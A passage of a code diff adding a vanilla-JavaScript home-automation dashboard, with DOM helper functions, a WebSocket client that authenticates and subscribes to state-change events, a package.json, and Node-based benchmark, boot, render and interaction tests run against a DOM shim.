+  spec.replace(/([.#]?[^.#]+)/g, (tok) => {
+    if (tok[0] === '.') classes.push(tok.slice(1));
+    else if (tok[0] === '#') id = tok.slice(1);
+    else tag = tok;
+    return tok;
+  });
+  const node = document.createElement(tag);
+  if (id) node.id = id;
+  if (classes.length) node.className = classes.join(' ');
+  if (attrs && typeof attrs === 'object' && !(attrs instanceof Node) && !Array.isArray(attrs)) {
+    for (const [k, v] of Object.entries(attrs)) {
+      if (v == null || v === false) continue;
+      if (k === 'class') node.className += ' ' + v;
+      else if (k === 'html') node.innerHTML = v;
+      else if (k.startsWith('on') && typeof v === 'function') node.addEventListener(k.slice(2).toLowerCase(), v);
+      else if (k === 'style' && typeof v === 'object') Object.assign(node.style, v);
+      else node.setAttribute(k, v);
+    }
+  } else if (attrs != null) {
+    children.unshift(attrs);
+  }
+  append(node, children);
+  return node;
+}
+
+function append(node, children) {
+  for (const c of children.flat(Infinity)) {
+    if (c == null || c === false) continue;
+    node.appendChild(c instanceof Node ? c : document.createTextNode(String(c)));
+  }
+}
+
+export const txt = (s) => document.createTextNode(s == null ? '' : String(s));
+export const mono = (s) => h('span.mono', String(s == null ? '' : s));
+export const clear = (n) => { while (n.firstChild) n.removeChild(n.firstChild); return n; };
+
+/** Status pill. kind ∈ cyan|green|amber|red|purple|grey. */
+export function pill(text, kind = 'grey') {
+  return h(`span.pill.${kind}`, String(text));
+}
+
+/** Map a free-form status string to the platform colour convention. */
+export function statusPill(status) {
+  const s = String(status || '').toLowerCase();
+  const map = {
+    running: 'green', online: 'green', ok: 'green', healthy: 'green', occupied: 'green', paired: 'green', connected: 'green', valid: 'green',
+    stale: 'amber', degraded: 'amber', updating: 'amber', warn: 'amber', warning: 'amber',
+    failed: 'red', offline: 'red', error: 'red', veto: 'red', vetoed: 'red', unreachable: 'red', invalid: 'red',
+    stopped: 'grey', absent: 'grey', unknown: 'grey', 'not trained': 'grey',
+    info: 'purple', epoch: 'purple', chain: 'purple',
+  };
+  return pill(status, map[s] || 'grey');
+}
+
+export function card({ title, tint, accent, clickable, onClick, children = [] } = {}) {
+  const cls = ['card'];
+  if (tint) cls.push('tint-' + tint);
+  if (clickable || onClick) cls.push('clickable');
+  const node = h('.' + cls.join('.'));
+  if (onClick) node.addEventListener('click', onClick);
+  if (accent) node.appendChild(accentBar());
+  if (title) node.appendChild(h('h2', title));
+  append(node, [children]);
+  return node;
+}
+
+function accentBar() {
+  const b = h('div');
+  b.style.height = '3px';
+  b.style.borderRadius = '3px';
+  b.style.margin = '-14px -10px 14px';
+  b.style.background = 'linear-gradient(90deg, var(--cyan), var(--purple))';
+  return b;
+}
+
+/** Section header with the cyan→purple featured gradient border (§3.3). */
+export function sectionHeader(title, sub) {
+  return h('.section-header', h('h1', title), sub ? h('.sub', sub) : null);
+}
+
+/** Live metric card (§4.1). */
+export function metric({ icon, value, label, color = 'cyan' }) {
+  return h('.metric',
+    icon ? h('.ico', icon) : null,
+    h(`.val${color === 'green' ? '.green' : ''}`, String(value)),
+    h('.lbl', label));
+}
+
+export function button(label, { variant = 'ghost', onClick, disabled } = {}) {
+  const b = h(`button.btn.${variant}`, label);
+  if (disabled) b.disabled = true;
+  if (onClick) b.addEventListener('click', onClick);
+  return b;
+}
+
+/**
+ * Progress bar with threshold colouring.
+ * thresholds: [{ lt, color }] evaluated in order against the 0..1 ratio.
+ */
+export function bar(value, max = 1, thresholds = null) {
+  const ratio = max > 0 ? Math.max(0, Math.min(1, value / max)) : 0;
+  let color = '';
+  if (thresholds) {
+    for (const t of thresholds) { if (ratio < t.lt) { color = t.color; break; } }
+    if (!color) color = thresholds[thresholds.length - 1].color;
+  }
+  const fill = h('span' + (color ? '.' + color : ''));
+  fill.style.width = (ratio * 100).toFixed(1) + '%';
+  return h('.bar', fill);
+}
+
+/** Small inline confidence bar — amber below 0.4 (§4.5). */
+export function confidenceBar(conf) {
+  const c = Math.max(0, Math.min(1, conf || 0));
+  const fill = h('span' + (c < 0.4 ? '.amber' : ''));
+  fill.style.width = (c * 100).toFixed(0) + '%';
+  return h('.conf-bar', fill);
+}
+
+/**
+ * Provenance badge (§4.4 / §6) — ESP32 → SEED → COG → state machine.
+ * A first-class element, never collapsed. hailo:true marks Hailo-sourced
+ * inference visually distinct from CPU-only COGs (§6 invariant 5).
+ */
+export function provenanceBadge({ esp32, seed, cog, hailo } = {}) {
+  return h('span.prov',
+    esp32 ? txt(esp32) : null, esp32 ? h('span.arr', '→') : null,
+    seed ? txt(seed) : null, h('span.arr', '→'),
+    h(hailo ? 'span.hailo' : 'span', cog || 'cog'),
+    h('span.arr', '→'), txt('homecore'));
+}
+
+/** Tiny inline SVG sparkline. */
+export function sparkline(values, { w = 120, hgt = 28, color = 'var(--cyan)' } = {}) {
+  const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
+  svg.setAttribute('width', w); svg.setAttribute('height', hgt); svg.setAttribute('class', 'spark');
+  if (!values || values.length < 2) return svg;
+  const min = Math.min(...values), max = Math.max(...values), span = max - min || 1;
+  const step = w / (values.length - 1);
+  const pts = values.map((v, i) => `${(i * step).toFixed(1)},${(hgt - ((v - min) / span) * (hgt - 4) - 2).toFixed(1)}`).join(' ');
+  const pl = document.createElementNS('http://www.w3.org/2000/svg', 'polyline');
+  pl.setAttribute('points', pts); pl.setAttribute('fill', 'none');
+  pl.setAttribute('stroke', color); pl.setAttribute('stroke-width', '1.5');
+  svg.appendChild(pl);
+  return svg;
+}
+
+export function banner(text, kind = 'amber', extra) {
+  return h(`.banner.${kind}`, text, extra ? txt(' ') : null, extra || null);
+}
+
+export function row(k, v) {
+  return h('.row', h('span.k', k), v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
+}
+
+export function kv(pairs) {
+  const node = h('.kv');
+  for (const [k, v] of pairs) {
+    node.appendChild(h('span.k', k));
+    node.appendChild(v instanceof Node ? v : h('span.v', String(v == null ? '—' : v)));
+  }
+  return node;
+}
+
+/** Collapsible section. */
+export function collapsible(title, contentFn, open = false) {
+  const wrap = h('.collapsible' + (open ? '.open' : ''));
+  const head = h('.head', title);
+  const body = h('div');
+  wrap.appendChild(head); wrap.appendChild(body);
+  let built = false;
+  const toggle = () => {
+    wrap.classList.toggle('open');
+    if (wrap.classList.contains('open')) {
+      if (!built) { body.appendChild(contentFn()); built = true; }
+      body.classList.remove('hidden');
+    } else body.classList.add('hidden');
+  };
+  head.addEventListener('click', toggle);
+  if (open) { body.appendChild(contentFn()); built = true; } else body.classList.add('hidden');
+  return wrap;
+}
+
+/** Slide-over panel (§4.4 StateChanged detail). */
+export function slideover(title, content) {
+  const back = h('.slideover-back');
+  const panel = h('.slideover', h('span.close', { onClick: close }, '✕'), h('h2', title), content);
+  function close() { back.remove(); panel.remove(); }
+  back.addEventListener('click', close);
+  document.body.appendChild(back);
+  document.body.appendChild(panel);
+  return { close };
+}
+
+/** Lag indicator (§4.1/§4.4 — broadcast channel vs 4096 capacity). */
+export function lagIndicator(state, lagged) {
+  const cls = state === 'open' ? (lagged ? 'warn' : '') : 'err';
+  const label = state === 'open' ? (lagged ? 'WS lagging — events dropped' : 'WS live') : 'WS offline';
+  return h('span.lag', h(`span.dot${cls ? '.' + cls : ''}`), h('span.t2', label));
+}
+
+export function relTime(iso) {
+  if (!iso) return '—';
+  const t = Date.parse(iso);
+  if (Number.isNaN(t)) return String(iso);
+  const s = Math.round((Date.now() - t) / 1000);
+  if (s < 0) return 'in ' + fmtDur(-s);
+  if (s < 5) return 'just now';
+  return fmtDur(s) + ' ago';
+}
+function fmtDur(s) {
+  if (s < 60) return s + 's';
+  if (s < 3600) return Math.round(s / 60) + 'm';
+  if (s < 86400) return Math.round(s / 3600) + 'h';
+  return Math.round(s / 86400) + 'd';
+}
+
+/** Loading + error wrappers panels can await. */
+export function loading(label = 'Loading…') { return h('.muted-empty', label); }
+export function errorCard(e) { return banner('Unavailable — ' + (e && e.message ? e.message : e), 'red'); }
+
+/** Distinguish "not trained" (null) from "unavailable" (error) — §6 invariant 3. */
+export function notTrained(prompt = 'Calibrate to enable') {
+  return h('span.t3', 'Not trained ', button(prompt, { variant: 'ghost' }));
+}

v2/crates/homecore-server/ui/js/ws.js

@@ -0,0 +1,69 @@
+// HOMECORE-UI WebSocket client — ADR-130 subscribe_events.
+//
+// "The UI must never poll for entity state" (ADR-131 §2/§4.4). This
+// client performs the HA-compat auth handshake then subscribes to
+// state_changed events and surfaces broadcast-channel lag against the
+// 4,096-event capacity (§4.1/§4.4) — the server emits a lag signal when
+// a subscriber falls behind; we also detect gaps in our own delivery.
+
+import { api } from './api.js';
+
+/**
+ * Connect and stream events.
+ * @param {(evt) => void} onEvent  called with {entity_id, old_state, new_state, event_type}
+ * @param {(status) => void} onStatus  called with {state:'connecting'|'open'|'closed', lagged:bool}
+ * @returns controller with .close()
+ */
+export function connect(onEvent, onStatus) {
+  const proto = location.protocol === 'https:' ? 'wss:' : 'ws:';
+  const url = `${proto}//${location.host}/api/websocket`;
+  let ws, msgId = 1, closedByUs = false, lagged = false;
+  let retry = 0;
+  const status = (state) => onStatus && onStatus({ state, lagged });
+
+  function open() {
+    status('connecting');
+    try { ws = new WebSocket(url); } catch (e) { schedule(); return; }
+    ws.onmessage = (m) => {
+      let msg; try { msg = JSON.parse(m.data); } catch { return; }
+      if (msg.type === 'auth_required') {
+        ws.send(JSON.stringify({ type: 'auth', access_token: api.token() }));
+      } else if (msg.type === 'auth_ok') {
+        retry = 0; status('open');
+        ws.send(JSON.stringify({ id: msgId++, type: 'subscribe_events', event_type: 'state_changed' }));
+      } else if (msg.type === 'auth_invalid') {
+        status('closed');
+      } else if (msg.type === 'event' && msg.event) {
+        const e = msg.event;
+        if (e.event_type === 'state_changed' && e.data) {
+          onEvent && onEvent({
+            event_type: 'state_changed',
+            entity_id: e.data.entity_id,
+            old_state: e.data.old_state,
+            new_state: e.data.new_state,
+          });
+        } else {
+          onEvent && onEvent({ event_type: e.event_type, ...e.data });
+        }
+      } else if (msg.type === 'lagged' || (msg.type === 'event' && msg.lagged)) {
+        lagged = true; status('open');
+      }
+    };
+    ws.onclose = () => { if (!closedByUs) schedule(); else status('closed'); };
+    ws.onerror = () => { try { ws.close(); } catch {} };
+  }
+
+  function schedule() {
+    status('closed');
+    retry = Math.min(retry + 1, 6);
+    const delay = Math.min(500 * 2 ** retry, 15000);
+    setTimeout(() => { if (!closedByUs) open(); }, delay);
+  }
+
+  open();
+  return {
+    close() { closedByUs = true; try { ws && ws.close(); } catch {} },
+    isLagged: () => lagged,
+    clearLag() { lagged = false; },
+  };
+}

v2/crates/homecore-server/ui/package.json

@@ -0,0 +1,12 @@
+{
+  "name": "homecore-ui",
+  "version": "0.1.0",
+  "private": true,
+  "type": "module",
+  "description": "HOMECORE-UI — operational dashboard for the two-tier Cognitum stack (ADR-131). Zero-dependency vanilla TS/JS + CSS; served by homecore-server at /homecore.",
+  "scripts": {
+    "check": "node tests/verify-imports.mjs",
+    "test": "node tests/verify-imports.mjs && node tests/boot.mjs && node tests/render-smoke.mjs && node tests/interaction.mjs && node tests/prod-errors.mjs && node tests/unit-fixes.mjs",
+    "bench": "node tests/benchmark.mjs"
+  }
+}

v2/crates/homecore-server/ui/tests/benchmark.mjs

@@ -0,0 +1,54 @@
+// Benchmark — ADR-131 §8 / ADR-126 §1.1.
+// HOMECORE exists partly because HA's frontend is a ~5 MB Lit bundle
+// (ADR-126 §1.1). This benchmark enforces a hard bundle budget and
+// measures cold render throughput for all 10 panels.
+// Run: node tests/benchmark.mjs
+import { install } from './dom-shim.mjs';
+install();
+import { readFileSync, readdirSync, statSync } from 'node:fs';
+import { resolve } from 'node:path';
+
+const ROOT = resolve(import.meta.dirname, '..');
+const BUDGET_BYTES = 250 * 1024;   // 250 KB total — vs HA's ~5 MB (20× smaller)
+
+function walk(dir) {
+  let total = 0; const rows = [];
+  for (const name of readdirSync(dir)) {
+    if (name === 'tests' || name === 'node_modules') continue;
+    const p = resolve(dir, name); const s = statSync(p);
+    if (s.isDirectory()) { const sub = walk(p); total += sub.total; rows.push(...sub.rows); }
+    else if (/\.(js|css|html|json)$/.test(name)) { total += s.size; rows.push([p.replace(ROOT + '/', ''), s.size]); }
+  }
+  return { total, rows };
+}
+
+const { total, rows } = walk(ROOT);
+rows.sort((a, b) => b[1] - a[1]);
+console.log('── Bundle size (uncompressed) ──');
+for (const [f, sz] of rows.slice(0, 8)) console.log(`  ${(sz / 1024).toFixed(1).padStart(7)} KB  ${f}`);
+console.log(`  ${'-'.repeat(40)}`);
+console.log(`  ${(total / 1024).toFixed(1).padStart(7)} KB  TOTAL across ${rows.length} files`);
+console.log(`  budget ${(BUDGET_BYTES / 1024).toFixed(0)} KB · HA baseline ~5120 KB · ratio ${(5120 * 1024 / total).toFixed(1)}× smaller`);
+
+// ── render throughput ───────────────────────────────────────────────
+const { api } = await import('../js/api.js');
+const ctx = { api, navigate() {}, params: { id: 'seed-livingroom-a1' }, onEvent() { return () => {}; }, onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; } };
+const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
+const mods = {};
+for (const p of PANELS) mods[p] = (await import(`../js/panels/${p}.js`)).default;
+
+console.log('\n── Cold render throughput (avg of 50 renders each) ──');
+let worst = 0;
+for (const p of PANELS) {
+  const N = 50; const t0 = performance.now();
+  for (let i = 0; i < N; i++) { const root = document.createElement('div'); const c = await mods[p].render(root, ctx); if (typeof c === 'function') c(); }
+  const ms = (performance.now() - t0) / N;
+  worst = Math.max(worst, ms);
+  console.log(`  ${ms.toFixed(3).padStart(7)} ms/render  ${p}`);
+}
+
+console.log('');
+let exit = 0;
+if (total > BUDGET_BYTES) { console.error(`FAIL — bundle ${(total / 1024).toFixed(1)} KB exceeds ${(BUDGET_BYTES / 1024).toFixed(0)} KB budget`); exit = 1; }
+else console.log(`OK — bundle within budget; slowest panel ${worst.toFixed(2)} ms/render`);
+process.exit(exit);

v2/crates/homecore-server/ui/tests/boot.mjs

@@ -0,0 +1,37 @@
+// Boot regression test — exercises the REAL app.js boot + router (not
+// just individual panels). Catches the class of bug where start() throws
+// before route() runs and the dashboard renders blank.
+// Run: node tests/boot.mjs   (from the ui/ dir)
+import { install } from './dom-shim.mjs';
+const { document, window } = install();
+globalThis.HOMECORE_UI_DEMO = true; // boot with fixtures (no gateway in tests)
+
+const errs = [];
+const origErr = console.error;
+console.error = (...a) => { errs.push(a.map(String).join(' ')); };
+
+await import('../js/app.js');
+await new Promise((r) => setTimeout(r, 30));
+console.error = origErr;
+
+const fails = [];
+const content = document.getElementById('hc-content');
+const app = document.getElementById('app');
+
+if (!app || app.children.length < 2) fails.push('shell not built (#app should have topnav + shell)');
+if (!content) fails.push('#hc-content missing — buildShell did not run');
+else if (content.children.length === 0) fails.push('BLANK: dashboard rendered nothing into #hc-content on boot');
+if (errs.length) fails.push('console.error during boot: ' + errs.slice(0, 3).join(' | '));
+
+// navigation must re-render the panel
+window.location.hash = '#/fleet';
+await new Promise((r) => setTimeout(r, 30));
+if (!content || content.children.length === 0) fails.push('BLANK after navigating to #/fleet');
+
+// a clean topnav with no dead Cognitum tabs / Cog Store link
+const links = app ? app.querySelectorAll('a') : [];
+const hrefs = links.map((a) => a.getAttribute('href') || '');
+if (hrefs.some((h) => /cognitum\.one\/store/.test(h))) fails.push('Cog Store external link should be removed');
+
+if (fails.length) { console.error('\nFAILED:'); fails.forEach((f) => console.error('  ✗ ' + f)); process.exit(1); }
+console.log('OK — app.js boots, dashboard renders, navigation re-renders, no dead Cog Store link');

v2/crates/homecore-server/ui/tests/dom-shim.mjs

@@ -0,0 +1,103 @@
+// Minimal DOM shim — enough to *run* the HOMECORE-UI panels under Node
+// without jsdom. Installs globals (document, location, localStorage,
+// fetch, WebSocket) so render-smoke.mjs can execute every panel and
+// assert it builds a real DOM subtree without throwing.
+
+class ClassList {
+  constructor(el) { this.el = el; this.set = new Set(); }
+  add(...c) { c.forEach((x) => x && this.set.add(x)); this.sync(); }
+  remove(...c) { c.forEach((x) => this.set.delete(x)); this.sync(); }
+  toggle(c, force) { const has = this.set.has(c); const on = force === undefined ? !has : force; if (on) this.set.add(c); else this.set.delete(c); this.sync(); return on; }
+  contains(c) { return this.set.has(c); }
+  sync() { this.el._class = [...this.set].join(' '); }
+}
+
+class El {
+  constructor(tag) {
+    this.tagName = String(tag).toUpperCase();
+    this.children = [];
+    this.attrs = {};
+    this.style = {};
+    this.listeners = {};
+    this._class = '';
+    this.classList = new ClassList(this);
+    this.parentNode = null;
+    this.id = '';
+    this._text = '';
+    this.disabled = false;
+    this.value = '';
+  }
+  set className(v) { this._class = v || ''; this.classList.set = new Set(String(v || '').split(/\s+/).filter(Boolean)); }
+  get className() { return this._class; }
+  set innerHTML(v) { this._html = v; }
+  get innerHTML() { return this._html || ''; }
+  set textContent(v) { this._text = v; this.children = []; }
+  get textContent() { return this._text || this.children.map((c) => c.textContent || c._text || '').join(''); }
+  appendChild(c) { c.parentNode = this; this.children.push(c); return c; }
+  insertBefore(c, ref) { const i = this.children.indexOf(ref); c.parentNode = this; if (i < 0) this.children.push(c); else this.children.splice(i, 0, c); return c; }
+  removeChild(c) { const i = this.children.indexOf(c); if (i >= 0) this.children.splice(i, 1); c.parentNode = null; return c; }
+  remove() { if (this.parentNode) this.parentNode.removeChild(this); }
+  get firstChild() { return this.children[0] || null; }
+  setAttribute(k, v) { this.attrs[k] = String(v); }
+  getAttribute(k) { return this.attrs[k] ?? null; }
+  addEventListener(t, fn) { (this.listeners[t] ||= []).push(fn); }
+  removeEventListener(t, fn) { this.listeners[t] = (this.listeners[t] || []).filter((f) => f !== fn); }
+  dispatch(t, detail) { (this.listeners[t] || []).forEach((fn) => fn({ detail, target: this, preventDefault() {}, stopPropagation() {} })); }
+  _all() { return this.children.flatMap((c) => [c, ...(c._all ? c._all() : [])]); }
+  matchesSel(sel) {
+    return sel.split(/\s+/).pop().split('.').every((p, i, arr) => {
+      if (i === 0 && p && !p.startsWith('.') && !p.startsWith('#')) { if (p.startsWith('.')) {} }
+      return true;
+    });
+  }
+  querySelector(sel) {
+    const want = sel.replace(/^.*\s/, '');
+    const cls = want.startsWith('.') ? want.slice(1) : null;
+    return this._all().find((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase())) || null;
+  }
+  querySelectorAll(sel) {
+    const want = sel.replace(/^.*\s/, '');
+    const cls = want.startsWith('.') ? want.slice(1) : null;
+    return this._all().filter((e) => (cls ? (e.classList && e.classList.contains(cls)) : e.tagName === want.toUpperCase()));
+  }
+}
+
+class TextNode { constructor(t) { this.textContent = String(t); this._text = String(t); this.nodeType = 3; this.parentNode = null; } remove() { if (this.parentNode) this.parentNode.removeChild(this); } }
+
+// Node instanceof checks in ui.js use `instanceof Node`; expose a Node base.
+globalThis.Node = El;
+// TextNode must also pass `instanceof Node` (ui.js append() treats text via createTextNode).
+Object.setPrototypeOf(TextNode.prototype, El.prototype);
+
+const body = new El('body');
+const documentObj = {
+  createElement: (t) => new El(t),
+  createElementNS: (_ns, t) => new El(t),
+  createTextNode: (t) => new TextNode(t),
+  getElementById: (id) => byId[id] || (byId[id] = mkRoot(id)),
+  body,
+  readyState: 'complete',
+  addEventListener() {},
+  querySelectorAll: () => [],
+};
+const byId = {};
+function mkRoot(id) { const e = new El('div'); e.id = id; return e; }
+
+export function install() {
+  globalThis.document = documentObj;
+  globalThis.EventTarget = class { constructor() { this._l = {}; } addEventListener(t, fn) { (this._l[t] ||= []).push(fn); } removeEventListener(t, fn) { this._l[t] = (this._l[t] || []).filter((f) => f !== fn); } dispatchEvent(e) { (this._l[e.type] || []).forEach((fn) => fn(e)); return true; } };
+  // window with a navigable location.hash that fires `hashchange`.
+  const win = new globalThis.EventTarget();
+  let _hash = '';
+  const loc = { host: 'localhost:8123', protocol: 'http:', get hash() { return _hash; }, set hash(v) { _hash = String(v).startsWith('#') ? String(v) : '#' + v; win.dispatchEvent({ type: 'hashchange' }); } };
+  win.location = loc;
+  globalThis.window = win;
+  globalThis.location = loc;
+  globalThis.localStorage = { _m: {}, getItem(k) { return this._m[k] ?? null; }, setItem(k, v) { this._m[k] = String(v); } };
+  globalThis.fetch = () => Promise.reject(new Error('offline (test) — panels fall back to mock per §7.1'));
+  globalThis.WebSocket = class { constructor() { this.readyState = 0; } send() {} close() {} };
+  globalThis.CustomEvent = class { constructor(t, o) { this.type = t; this.detail = o && o.detail; } };
+  return { El, TextNode, body, document: documentObj, window: win, location: loc };
+}
+
+export { El, TextNode };

v2/crates/homecore-server/ui/tests/interaction.mjs

@@ -0,0 +1,86 @@
+// Interaction tests — the dynamic behaviours that syntax/render checks
+// cannot reach: the live WebSocket entity patch (§4.4 "never poll"), the
+// ws.js handshake + event parse (ADR-130), and the calibration backend
+// driving the §4.7 wizard. Run: node tests/interaction.mjs
+import { install } from './dom-shim.mjs';
+install();
+globalThis.HOMECORE_UI_DEMO = true; // exercise the demo/calibration fixture path
+
+const fails = [], passes = [];
+async function t(name, fn) {
+  try { await fn(); passes.push(name); }
+  catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
+}
+const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
+
+// ── 1. entities panel patches state live over the bus (no polling) ──
+await t('entities: live state_changed patches the row in place', async () => {
+  const entities = (await import('../js/panels/entities.js')).default;
+  const { api } = await import('../js/api.js');
+  let handler = null;
+  const ctx = {
+    api, navigate() {}, params: {},
+    onEvent(fn) { handler = fn; return () => {}; },
+    onWs(fn) { fn({ state: 'open', lagged: false }); return () => {}; },
+  };
+  const root = document.createElement('div');
+  await entities.render(root, ctx);
+  assert(typeof handler === 'function', 'panel must register an onEvent handler (it must not poll)');
+
+  const before = root.querySelectorAll('.t1').map((n) => n.textContent);
+  assert(before.some((x) => x === 'true'), 'living_room_presence should start "true" from the mock fallback');
+
+  // Fire a live event; ws.js delivers new_state as a StateView object.
+  handler({ event_type: 'state_changed', entity_id: 'sensor.living_room_presence', old_state: { state: 'true' }, new_state: { state: 'false' } });
+
+  const after = root.querySelectorAll('.t1').map((n) => n.textContent);
+  assert(after.some((x) => x === 'false'), 'row should now show patched state "false"');
+});
+
+// ── 2. ws.js performs the HA-compat handshake and parses events ─────
+await t('ws.js: handshake → subscribe_events → parsed event', async () => {
+  const sent = [];
+  let inst = null;
+  globalThis.WebSocket = class { constructor(url) { this.url = url; inst = this; } send(m) { sent.push(JSON.parse(m)); } close() { this.onclose && this.onclose(); } };
+  const { connect } = await import('../js/ws.js?ws-test');
+  const got = [], status = [];
+  const ctrl = connect((e) => got.push(e), (s) => status.push(s));
+  assert(inst, 'WebSocket should be constructed');
+
+  inst.onmessage({ data: JSON.stringify({ type: 'auth_required', ha_version: 'x' }) });
+  assert(sent[0] && sent[0].type === 'auth' && 'access_token' in sent[0], 'must reply to auth_required with an auth token');
+
+  inst.onmessage({ data: JSON.stringify({ type: 'auth_ok', ha_version: 'x' }) });
+  assert(sent.some((m) => m.type === 'subscribe_events' && m.event_type === 'state_changed'), 'must subscribe_events after auth_ok');
+
+  inst.onmessage({ data: JSON.stringify({ type: 'event', event: { event_type: 'state_changed', data: { entity_id: 'light.x', old_state: { state: 'off' }, new_state: { state: 'on' } } } }) });
+  assert(got.length === 1, 'one event expected');
+  assert(got[0].entity_id === 'light.x' && got[0].new_state.state === 'on', 'event fields must parse through');
+
+  inst.onmessage({ data: JSON.stringify({ type: 'lagged' }) });
+  assert(ctrl.isLagged(), 'lag signal should set isLagged');
+  ctrl.close();
+});
+
+// ── 3. calibration backend drives the 5-step wizard contract ───────
+await t('calibration: start→status→anchor→train contract', async () => {
+  const { api } = await import('../js/api.js');
+  const cal = api.calibration;
+  cal.reset();
+  const bl = await cal.start();
+  assert(bl.baseline_id, 'start() returns a baseline_id (the STALE anchor)');
+  let st;
+  for (let i = 0; i < 10; i++) { st = await cal.status(); if (st.frames >= st.target) break; }
+  assert(st.frames >= st.target, 'status() converges to target frames');
+
+  for (const label of cal.ANCHORS) await cal.anchor(label);
+  assert((await cal.enrollStatus()).accepted.length >= 6, 'most anchors accepted after enrollment');
+
+  const trained = await cal.train();
+  assert(trained.presence && trained.anomaly, 'train() returns non-null specialists when enrolled');
+  cal.reset();
+});
+
+console.log(`\n${passes.length} passed, ${fails.length} failed`);
+if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error('  ✗ ' + f)); process.exit(1); }
+console.log('OK — live WS patch, ws.js handshake/parse, and calibration contract verified');

v2/crates/homecore-server/ui/tests/prod-errors.mjs

@@ -0,0 +1,45 @@
+// Production-mode test (ADR-131 §2.2 / §11.11): with demo mode OFF and
+// the gateway unreachable, every panel must render a typed empty/error
+// state WITHOUT throwing and WITHOUT showing fabricated data.
+// Run: node tests/prod-errors.mjs
+import { install } from './dom-shim.mjs';
+install();
+globalThis.HOMECORE_UI_DEMO = false; // PRODUCTION path — no fixtures
+// fetch already rejects in the shim → simulates an unreachable gateway.
+
+const fails = [], passes = [];
+async function t(name, fn) {
+  try { await fn(); passes.push(name); }
+  catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
+}
+const assert = (c, m) => { if (!c) throw new Error(m || 'assertion failed'); };
+
+const { api, demoMode } = await import('../js/api.js');
+
+await t('demoMode() is false in production', () => assert(demoMode() === false));
+await t('api.anyDemo() is false in production', () => assert(api.anyDemo() === false));
+
+const PANELS = ['dashboard', 'fleet', 'seed-detail', 'entities', 'rooms', 'cogs', 'calibration', 'events', 'audit', 'settings'];
+const ctx = {
+  api, navigate() {}, params: { id: 'seed-livingroom-a1' },
+  onEvent() { return () => {}; },
+  onWs(fn) { fn({ state: 'closed', lagged: false }); return () => {}; },
+};
+
+for (const name of PANELS) {
+  await t(`prod render (gateway down): ${name} shows a state, never throws`, async () => {
+    const mod = await import(`../js/panels/${name}.js`);
+    const root = document.createElement('div');
+    const cleanup = await mod.default.render(root, ctx);
+    // must render SOMETHING (header + error/empty state), not crash, not blank
+    assert(root.children.length > 0, 'panel rendered nothing in prod error mode');
+    if (typeof cleanup === 'function') cleanup();
+  });
+}
+
+// No data accessor may have flipped a demo flag in production.
+await t('no demo flags set after production renders', () => assert(api.anyDemo() === false, 'a panel served mock data in production'));
+
+console.log(`\n${passes.length} passed, ${fails.length} failed`);
+if (fails.length) { console.error('\nFAILURES:'); fails.forEach((f) => console.error('  ✗ ' + f)); process.exit(1); }
+console.log('OK — every panel renders a typed empty/error state in production with no mock fallback');

v2/crates/homecore-server/ui/tests/render-smoke.mjs

@@ -0,0 +1,109 @@
+// Render-smoke test — actually executes every HOMECORE-UI panel against
+// the DOM shim and asserts each builds a non-empty DOM subtree without
+// throwing. Also exercises the ui.js helpers and the mock contract.
+// Run: node tests/render-smoke.mjs   (from the ui/ dir)
+import { install } from './dom-shim.mjs';
+install();
+globalThis.HOMECORE_UI_DEMO = true; // render panels against fixtures
+
+const fails = [];
+const passes = [];
+function check(name, fn) {
+  try { fn(); passes.push(name); }
+  catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
+}
+async function checkAsync(name, fn) {
+  try { await fn(); passes.push(name); }
+  catch (e) { fails.push(`${name}: ${e && e.stack ? e.stack.split('\n').slice(0, 3).join(' | ') : e}`); }
+}
+
+const ui = await import('../js/ui.js');
+const { api, entityProvenance } = await import('../js/api.js');
+const mock = await import('../js/mock.js');
+
+// ── ui.js helper unit checks ────────────────────────────────────────
+check('ui.h builds element with class/id', () => {
+  const n = ui.h('div.card#x', { 'data-k': 'v' }, 'hi');
+  if (n.tagName !== 'DIV') throw new Error('tag');
+  if (!n.classList.contains('card')) throw new Error('class');
+  if (n.id !== 'x') throw new Error('id');
+});
+check('ui.statusPill maps running→green', () => {
+  const p = ui.statusPill('running');
+  if (!p.classList.contains('green')) throw new Error('expected green pill');
+});
+check('ui.statusPill maps offline→red', () => {
+  if (!ui.statusPill('offline').classList.contains('red')) throw new Error('expected red');
+});
+check('ui.bar applies threshold colour', () => {
+  const b = ui.bar(0.9, 1, [{ lt: 0.3, color: 'green' }, { lt: 0.6, color: 'amber' }, { lt: 1.01, color: 'red' }]);
+  if (!b.firstChild.classList.contains('red')) throw new Error('expected red fill at 0.9');
+});
+check('ui.confidenceBar amber under 0.4', () => {
+  if (!ui.confidenceBar(0.2).firstChild.classList.contains('amber')) throw new Error('low conf should be amber');
+});
+check('ui.provenanceBadge marks hailo', () => {
+  const p = ui.provenanceBadge({ esp32: 'e', seed: 's', cog: 'c', hailo: true });
+  if (!p.querySelector('.hailo')) throw new Error('hailo class missing');
+});
+check('ui.sparkline yields svg polyline', () => {
+  const s = ui.sparkline([1, 2, 3, 4]);
+  if (!s.querySelector('polyline')) throw new Error('no polyline');
+});
+
+// ── mock contract checks ────────────────────────────────────────────
+check('mock RoomState distinguishes null vs withheld', () => {
+  const rs = mock.roomStates();
+  const office = rs.find((r) => r.room_id === 'office');
+  if (office.posture !== null) throw new Error('office posture should be null (not trained)');
+  const kitchen = rs.find((r) => r.room_id === 'kitchen');
+  if (!kitchen.vetoed) throw new Error('kitchen should be vetoed');
+  if (kitchen.posture.value !== null) throw new Error('vetoed posture value should be null/withheld, not zero');
+});
+check('analysis covers at least 3 bedrooms', () => {
+  const beds = mock.roomStates().filter((r) => /^bedroom/.test(r.room_id));
+  if (beds.length < 3) throw new Error(`expected ≥3 bedrooms in RoomState analysis, got ${beds.length}`);
+  const bedSeeds = mock.seeds().filter((s) => /bedroom/i.test(s.zone));
